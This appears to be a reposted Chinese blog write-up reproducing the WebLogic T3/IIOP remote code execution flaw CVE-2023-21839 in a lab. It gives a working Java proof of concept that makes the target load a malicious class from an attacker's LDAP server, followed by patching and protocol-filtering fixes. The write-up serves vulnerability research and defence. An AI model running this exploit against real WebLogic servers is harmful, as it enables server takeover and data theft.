0


WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)

1、产品简介

Oracle WebLogic Server是一个统一的可扩展平台,用于在本地和云端开发、部署和运行企业应用程序,例如 Java。WebLogic Server提供了Java Enterprise Edition (EE)和Jakarta EE的可靠、成熟和可扩展的实现。

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器,目前已推出到14c版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间件,以及OEPE开发工具。

2、漏洞概述

WebLogic存在远程代码执行漏洞,该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。

Weblogic T3/IIOP反序列化命令执行漏洞

Weblogic t3/iiop协议支持远程绑定对象bind到服务端。并且可以通过lookup查看,代码:c.lookup("xxxxxx");。

当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端会调用远程对象getReferent方法。

weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

3、影响范围

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

4、复现环境

win10: 192.168.42.128

kali: 192.168.42.129

win10上搭建存在漏洞的WebLogic Server 12.2.1.3.0版本

环境搭建可以参考以下(很详细)

Oracle WebLogic12.2.1.3.0安装与配置(Windows)_风梧1994的博客-CSDN博客_weblogic 12.2.1.3.0

注意:JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性,在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
在2018年10月,Java对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。
因此,搭建此漏洞复现环境时jdk版本需要< jdk 8u191 。 (推荐jdk 8u112)

安装好环境验证一下本地是否可以访问

283806e8953c4710bc9ddebae0f4dd59.png

5、漏洞复现

利用poc如下:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class BindRce {
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    private static InitialContext getInitialContext(String url)throws NamingException
    {
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
    //iiop
    public static void main(String args[]) throws Exception {
       InitialContext c=getInitialContext("t3://127.0.0.1:7001");
        Hashtable<String,String> env = new Hashtable<String,String>();

        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,"ldap://xxxxxxxx/xxx");
        c.bind("xxxx",f);
        c.lookup("xxx");    }
}

注意: weblogic10 及以后的版本,不能直接使用server/lib 目录下的 weblogic.jar 了,需要手动执行一个命令生成手动生成 wlfullclient.jar,用来替代老版本中的 weblogic.jar。
具体命令如下(Windows 系统,我的 weblogic 安装目录是 C:\Oracle)

切换到C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib 下,执行java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar

cd C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib
java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar

#根据自己的路径去找包,生成wlfullclient.jar

fc5cfa872bf046a2a01a9a8eda38448a.png

打开IEDA创建一个Java项目并本地导入生成的wlfullclient.jar

6ee7923f5ec44945ba10c0d9f1d78cd2.png

8a40fe01874b46f69d0e19352f989f86.png

0a5e79a8728b4ca38f04957844e9e452.png

创建利用poc类,类名可自定义,并把里面的url都换成自己环境的;

kali开放LDAP和WEB服务,

6db7252034224f53bc4e22883874e16a.png

执行poc,让目标加载恶意类造成RCE

0468fe042ea2488393372981f23c6da2.png

等了几秒没有反应,查看漏洞环境,发现被360拦截了,可以看到要去远程加载恶意类,点击允许

c3da66e880bf4c33ac31f0b51cd67d03.png

9a4771b972b84a68902262c7c944ef91.png

d160e99e86da46eb85ad2dfd7807308b.png

复现成功

6、修复建议

厂商已发布了漏洞修复补丁,下载链接:https://support.oracle.com/rs?type=doc&id=2917213.2

Oracle WebLogic Server补丁安装方式

1.Oracle WebLogic Server 11g:

bsu.cmd -install -patch_download_dir=C:\Oracle\Middleware\utils\bsu\cache_dir -patchlist=3L3H -prod_dir=C:\Oracle\Middleware\wlserver_10.3

2.Oracle WebLogic Server 12c:

使用opatch apply 安装补丁

C:\Oracle\Middleware\Oracle_Home\OPatch>opatch apply 本机补丁地址

注:补丁编号请自行更改为新补丁编号。

禁用T3、IIOP协议具体操作步骤如下:

1.禁用T3:

进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

c0927814f6484149a1c076a2250e12aa.png

在连接筛选器中输入:WebLogic.security.net.ConnectionFilterImpl,参考以下写法,在连接筛选器规则中配置符合企业实际情况的规则:

127.0.0.1 * * allow t3 t3s
本机IP * * allow t3 t3s
允许访问的IP * * allow t3 t3s 
* * * deny t3 t3s

b3a553620c0c4d74bc3c81256e7e00f8.png

连接筛选器规则格式如下:target localAddress localPort action protocols,其中:

target 指定一个或多个要筛选的服务器。

localAddress 可定义服务器的主机地址。(如果指定为一个星号 (*),则返回的匹配结果将是所有本地 IP 地址。)

localPort 定义服务器正在监听的端口。(如果指定了星号,则匹配返回的结果将是服务器上所有可用的端口)。

action 指定要执行的操作。(值必须为“allow”或“deny”。)

protocols 是要进行匹配的协议名列表。(必须指定下列其中一个协议:http、https、t3、t3s、giop、giops、dcom 或 ftp。) 如果未定义协议,则所有协议都将与一个规则匹配。

保存后若规则未生效,建议重新启动WebLogic服务(重启WebLogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。以Windows环境为例,重启服务的步骤如下:

进入域所在目录下的bin目录,在Windows系统中运行stopWebLogic.cmd文件终止WebLogic服务,Linux系统中则运行stopWebLogic.sh文件。

fe53f8e60a414b6bb3a39e2a289af993.png

待终止脚本执行完成后,再运行startWebLogic.cmd或startWebLogic.sh文件启动WebLogic,即可完成WebLogic服务重启。

2.禁用IIOP:

经过测试,weblogic 12.1.3.0.0、weblogic 12.2.1.3.0(12c)、weblogic14.x(14c) 版本禁用IIOP协议的详细步骤如下:

登录weblogic后台之后,点开“域分区”—环境—服务器—“AdminServer(管理)”

455e16b69a464b9291b6a3adefd84753.png
d934e6c346c24b6998a3589b0c553ab7.png


本文转载自: https://blog.csdn.net/qq_41904294/article/details/128984686
版权归原作者 OidBoy_G 所有, 如有侵权,请联系我们删除。

“WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)”的评论:

还没有评论